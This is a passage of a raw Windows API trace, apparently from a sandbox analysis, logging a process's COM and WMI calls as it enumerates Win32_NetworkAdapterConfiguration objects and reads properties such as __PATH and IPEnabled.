WbemDefPath:IWbemPath:GetText (in: This=0x84c070, lFlags=4, puBuffLength=0x54f350*=0x0, pszText=0x0 | out: puBuffLength=0x54f350*=0xf, pszText=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetText (in: This=0x84c070, lFlags=4, puBuffLength=0x54f350*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f350*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0271.501] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x35c [0271.501] SetEvent (hEvent=0x2c4) returned 1 [0271.501] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f2b0*=0x35c, lpdwindex=0x54f0d4 | out: lpdwindex=0x54f0d4) returned 0x0 [0271.504] CoGetContextToken (in: pToken=0x54f184 | out: pToken=0x54f184) returned 0x0 [0271.504] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0271.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c310, riid=0x54f1b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f1b0 | out: ppvObject=0x54f1b0*=0x84c310) returned 0x0 [0271.504] WbemDefPath:IUnknown:AddRef (This=0x84c310) returned 0x3 [0271.504] WbemDefPath:IUnknown:Release (This=0x84c310) returned 0x2 [0271.504] WbemDefPath:IWbemPath:SetText (This=0x84c310, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0271.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f32c | out: puCount=0x54f32c*=0x2) returned 0x0 [0271.504] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f328*=0x0, pszText=0x0 | out: puBuffLength=0x54f328*=0xf, pszText=0x0) returned 0x0 [0271.504] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f328*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f328*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0271.530] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f24c*=0x370, lpdwindex=0x54f104 | out: lpdwindex=0x54f104) returned 0x0 [0272.211] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f350 | out: puCount=0x54f350*=0x2) returned 0x0 [0272.211] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f34c*=0x0, pszText=0x0 | out: puBuffLength=0x54f34c*=0xf, pszText=0x0) returned 0x0 [0272.211] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f34c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f34c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.211] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f354*=0x0, pszText=0x0 | out: puBuffLength=0x54f354*=0x22, pszText=0x0) returned 0x0 [0272.211] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f354*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x54f354*=0x22, pszText="Win32_NetworkAdapterConfiguration") returned 0x0 [0272.211] CoGetContextToken (in: pToken=0x54f0d4 | out: pToken=0x54f0d4) returned 0x0 [0272.211] CoGetContextToken (in: pToken=0x54f034 | out: pToken=0x54f034) returned 0x0 [0272.212] CoGetContextToken (in: pToken=0x54f034 | out: pToken=0x54f034) returned 0x0 [0272.212] CoGetContextToken (in: pToken=0x54efd4 | out: pToken=0x54efd4) returned 0x0 [0272.212] IUnknown:QueryInterface (in: This=0x81e148, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54efac | out: ppvObject=0x54efac*=0x81e158) returned 0x0 [0272.212] CObjectContext::ContextCallback () returned 0x0 [0272.214] IUnknown:Release (This=0x81e158) returned 0x1 [0272.214] CoUnmarshalInterface (in: pStm=0x856a30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x54f028 | out: ppv=0x54f028*=0x88767c) returned 0x0 [0272.215] CoMarshalInterface (pStm=0x856a30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x88767c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0272.215] WbemLocator:IUnknown:QueryInterface (in: This=0x88767c, riid=0x54f104*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x54f100 | out: ppvObject=0x54f100*=0x86fe20) returned 0x0 [0272.215] WbemLocator:IUnknown:Release (This=0x88767c) returned 0x1 [0272.215] IWbemServices:GetObject (in: This=0x86fe20, strObjectPath="Win32_NetworkAdapterConfiguration", lFlags=0, pCtx=0x0, ppObject=0x54f308*=0x0, ppCallResult=0x0 | out: ppObject=0x54f308*=0x8b9918, ppCallResult=0x0) returned 0x0 [0272.299] WbemLocator:IUnknown:Release (This=0x86fe20) returned 0x0 [0272.299] IWbemClassObject:Get (in: This=0x8b9918, wszName="__PATH", lFlags=0, pVal=0x54f2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f398*=0, plFlavor=0x54f394*=0 | out: pVal=0x54f2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_NetworkAdapterConfiguration", varVal2=0x0), pType=0x54f398*=8, plFlavor=0x54f394*=64) returned 0x0 [0272.299] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_NetworkAdapterConfiguration") returned 0x72 [0272.299] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_NetworkAdapterConfiguration") returned 0x72 [0272.299] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x38c [0272.299] SetEvent (hEvent=0x2c4) returned 1 [0272.299] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f2ac*=0x38c, lpdwindex=0x54f0d0 | out: lpdwindex=0x54f0d0) returned 0x0 [0272.302] CoGetContextToken (in: pToken=0x54f184 | out: pToken=0x54f184) returned 0x0 [0272.302] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0272.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c380, riid=0x54f1b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f1b0 | out: ppvObject=0x54f1b0*=0x84c380) returned 0x0 [0272.302] WbemDefPath:IUnknown:AddRef (This=0x84c380) returned 0x3 [0272.302] WbemDefPath:IUnknown:Release (This=0x84c380) returned 0x2 [0272.302] WbemDefPath:IWbemPath:SetText (This=0x84c380, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_NetworkAdapterConfiguration") returned 0x0 [0272.302] IWbemClassObject:Get (in: This=0x8b9918, wszName="__CLASS", lFlags=0, pVal=0x54f360*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3e0*=0, plFlavor=0x54f3dc*=0 | out: pVal=0x54f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_NetworkAdapterConfiguration", varVal2=0x0), pType=0x54f3e0*=8, plFlavor=0x54f3dc*=64) returned 0x0 [0272.302] SysStringByteLen (bstr="Win32_NetworkAdapterConfiguration") returned 0x42 [0272.302] SysStringByteLen (bstr="Win32_NetworkAdapterConfiguration") returned 0x42 [0272.302] CoGetContextToken (in: pToken=0x54f15c | out: pToken=0x54f15c) returned 0x0 [0272.302] CoGetContextToken (in: pToken=0x54f0bc | out: pToken=0x54f0bc) returned 0x0 [0272.303] CoGetContextToken (in: pToken=0x54f0bc | out: pToken=0x54f0bc) returned 0x0 [0272.303] CoUnmarshalInterface (in: pStm=0x856a30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x54f0b0 | out: ppv=0x54f0b0*=0x88767c) returned 0x0 [0272.303] CoMarshalInterface (pStm=0x856a30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x88767c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0272.303] WbemLocator:IUnknown:QueryInterface (in: This=0x88767c, riid=0x54f18c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x54f188 | out: ppvObject=0x54f188*=0x86ff10) returned 0x0 [0272.303] WbemLocator:IUnknown:Release (This=0x88767c) returned 0x1 [0272.304] IWbemServices:CreateInstanceEnum (in: This=0x86ff10, strFilter="Win32_NetworkAdapterConfiguration", lFlags=17, pCtx=0x0, ppEnum=0x54f35c | out: ppEnum=0x54f35c*=0x86d678) returned 0x0 [0272.315] IUnknown:QueryInterface (in: This=0x86d678, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1c4 | out: ppvObject=0x54f1c4*=0x86d67c) returned 0x0 [0272.315] IClientSecurity:QueryBlanket (in: This=0x86d67c, pProxy=0x86d678, pAuthnSvc=0x54f214, pAuthzSvc=0x54f210, pServerPrincName=0x54f208, pAuthnLevel=0x54f20c, pImpLevel=0x54f1fc, pAuthInfo=0x54f200, pCapabilites=0x54f204 | out: pAuthnSvc=0x54f214*=0xa, pAuthzSvc=0x54f210*=0x0, pServerPrincName=0x54f208, pAuthnLevel=0x54f20c*=0x6, pImpLevel=0x54f1fc*=0x2, pAuthInfo=0x54f200, pCapabilites=0x54f204*=0x1) returned 0x0 [0272.315] IUnknown:Release (This=0x86d67c) returned 0x1 [0272.315] IUnknown:QueryInterface (in: This=0x86d678, riid=0x6fed35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1b8 | out: ppvObject=0x54f1b8*=0x88776c) returned 0x0 [0272.315] IUnknown:QueryInterface (in: This=0x86d678, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1a4 | out: ppvObject=0x54f1a4*=0x86d67c) returned 0x0 [0272.315] IClientSecurity:SetBlanket (This=0x86d67c, pProxy=0x86d678, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0272.376] IUnknown:Release (This=0x86d67c) returned 0x2 [0272.376] WbemLocator:IUnknown:Release (This=0x88776c) returned 0x1 [0272.376] CoTaskMemFree (pv=0x8722a8) [0272.376] IUnknown:AddRef (This=0x86d678) returned 0x2 [0272.377] CoGetContextToken (in: pToken=0x54e6e0 | out: pToken=0x54e6e0) returned 0x0 [0272.377] CoGetContextToken (in: pToken=0x54eaf4 | out: pToken=0x54eaf4) returned 0x0 [0272.377] IUnknown:QueryInterface (in: This=0x86d678, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ea8c | out: ppvObject=0x54ea8c*=0x887754) returned 0x0 [0272.377] WbemLocator:IRpcOptions:Query (in: This=0x887754, pPrx=0x8a6630, dwProperty=2, pdwValue=0x54eb80 | out: pdwValue=0x54eb80) returned 0x80004002 [0272.377] WbemLocator:IUnknown:Release (This=0x887754) returned 0x2 [0272.377] CoGetContextToken (in: pToken=0x54f0c4 | out: pToken=0x54f0c4) returned 0x0 [0272.377] CoGetContextToken (in: pToken=0x54f024 | out: pToken=0x54f024) returned 0x0 [0272.377] IUnknown:QueryInterface (in: This=0x86d678, riid=0x54f0f4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x54efc0 | out: ppvObject=0x54efc0*=0x86d678) returned 0x0 [0272.377] IUnknown:Release (This=0x86d678) returned 0x2 [0272.377] WbemLocator:IUnknown:Release (This=0x86ff10) returned 0x0 [0272.378] SysStringLen (param_1=0x0) returned 0x0 [0272.378] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f398 | out: puCount=0x54f398*=0x2) returned 0x0 [0272.378] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f394*=0x0, pszText=0x0 | out: puBuffLength=0x54f394*=0xf, pszText=0x0) returned 0x0 [0272.378] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f394*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f394*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.378] CoGetContextToken (in: pToken=0x54f1e4 | out: pToken=0x54f1e4) returned 0x0 [0272.378] IEnumWbemClassObject:Clone (in: This=0x86d678, ppEnum=0x54f398 | out: ppEnum=0x54f398*=0x86d808) returned 0x0 [0272.391] IUnknown:QueryInterface (in: This=0x86d808, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f254 | out: ppvObject=0x54f254*=0x86d80c) returned 0x0 [0272.391] IClientSecurity:QueryBlanket (in: This=0x86d80c, pProxy=0x86d808, pAuthnSvc=0x54f2a4, pAuthzSvc=0x54f2a0, pServerPrincName=0x54f298, pAuthnLevel=0x54f29c, pImpLevel=0x54f28c, pAuthInfo=0x54f290, pCapabilites=0x54f294 | out: pAuthnSvc=0x54f2a4*=0xa, pAuthzSvc=0x54f2a0*=0x0, pServerPrincName=0x54f298, pAuthnLevel=0x54f29c*=0x6, pImpLevel=0x54f28c*=0x2, pAuthInfo=0x54f290, pCapabilites=0x54f294*=0x1) returned 0x0 [0272.391] IUnknown:Release (This=0x86d80c) returned 0x1 [0272.392] IUnknown:QueryInterface (in: This=0x86d808, riid=0x6fed35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x88767c) returned 0x0 [0272.392] IUnknown:QueryInterface (in: This=0x86d808, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f234 | out: ppvObject=0x54f234*=0x86d80c) returned 0x0 [0272.392] IClientSecurity:SetBlanket (This=0x86d80c, pProxy=0x86d808, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0272.530] IUnknown:Release (This=0x86d80c) returned 0x2 [0272.530] WbemLocator:IUnknown:Release (This=0x88767c) returned 0x1 [0272.530] CoTaskMemFree (pv=0x8721b8) [0272.531] IUnknown:AddRef (This=0x86d808) returned 0x2 [0272.531] CoGetContextToken (in: pToken=0x54e764 | out: pToken=0x54e764) returned 0x0 [0272.531] CoGetContextToken (in: pToken=0x54eb74 | out: pToken=0x54eb74) returned 0x0 [0272.531] IUnknown:QueryInterface (in: This=0x86d808, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eb10 | out: ppvObject=0x54eb10*=0x887664) returned 0x0 [0272.531] WbemLocator:IRpcOptions:Query (in: This=0x887664, pPrx=0x8a6660, dwProperty=2, pdwValue=0x54ec04 | out: pdwValue=0x54ec04) returned 0x80004002 [0272.532] WbemLocator:IUnknown:Release (This=0x887664) returned 0x2 [0272.532] CoGetContextToken (in: pToken=0x54f144 | out: pToken=0x54f144) returned 0x0 [0272.532] CoGetContextToken (in: pToken=0x54f0a4 | out: pToken=0x54f0a4) returned 0x0 [0272.532] IUnknown:QueryInterface (in: This=0x86d808, riid=0x54f174*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x54f040 | out: ppvObject=0x54f040*=0x86d808) returned 0x0 [0272.532] IUnknown:Release (This=0x86d808) returned 0x2 [0272.532] SysStringLen (param_1=0x0) returned 0x0 [0272.532] IEnumWbemClassObject:Reset (This=0x86d808) returned 0x0 [0272.535] CoTaskMemAlloc (cb=0x4) returned 0x8a2c98 [0272.535] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2c98, puReturned=0x2575b1c | out: apObjects=0x8a2c98*=0x8a33f0, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.544] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8a33f0) returned 0x0 [0272.544] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.544] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.545] IUnknown:AddRef (This=0x8a33f0) returned 0x3 [0272.545] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.545] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.545] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8a33f4) returned 0x0 [0272.545] IMarshal:GetUnmarshalClass (in: This=0x8a33f4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.545] IUnknown:Release (This=0x8a33f4) returned 0x3 [0272.545] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.545] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.545] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.545] IUnknown:Release (This=0x8a33f0) returned 0x2 [0272.545] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.545] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.545] IUnknown:QueryInterface (in: This=0x8a33f0, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8a33f0) returned 0x0 [0272.545] IUnknown:AddRef (This=0x8a33f0) returned 0x4 [0272.545] IUnknown:Release (This=0x8a33f0) returned 0x3 [0272.545] IUnknown:Release (This=0x8a33f0) returned 0x2 [0272.545] CoTaskMemFree (pv=0x8a2c98) [0272.545] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.546] IUnknown:AddRef (This=0x8a33f0) returned 0x3 [0272.546] IWbemClassObject:Get (in: This=0x8a33f0, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.546] IWbemClassObject:Get (in: This=0x8a33f0, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=0", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.546] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=0") returned 0x82 [0272.546] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=0") returned 0x82 [0272.546] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x390 [0272.546] SetEvent (hEvent=0x2c4) returned 1 [0272.547] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x390, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.550] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.550] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c3f0, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x84c3f0) returned 0x0 [0272.550] WbemDefPath:IUnknown:AddRef (This=0x84c3f0) returned 0x3 [0272.550] WbemDefPath:IUnknown:Release (This=0x84c3f0) returned 0x2 [0272.550] WbemDefPath:IWbemPath:SetText (This=0x84c3f0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=0") returned 0x0 [0272.550] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.550] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.550] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.553] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.553] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.553] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.553] IWbemClassObject:Get (in: This=0x8a33f0, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25763c8*=0, plFlavor=0x25763cc*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25763c8*=11, plFlavor=0x25763cc*=0) returned 0x0 [0272.553] IWbemClassObject:Get (in: This=0x8a33f0, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25763c8*=11, plFlavor=0x25763cc*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25763c8*=11, plFlavor=0x25763cc*=0) returned 0x0 [0272.559] IUnknown:Release (This=0x8a33f0) returned 0x2 [0272.561] CoTaskMemAlloc (cb=0x4) returned 0x8a2ce8 [0272.561] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2ce8, puReturned=0x2575b1c | out: apObjects=0x8a2ce8*=0x89f838, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.607] IUnknown:QueryInterface (in: This=0x89f838, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x89f838) returned 0x0 [0272.607] IUnknown:QueryInterface (in: This=0x89f838, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), 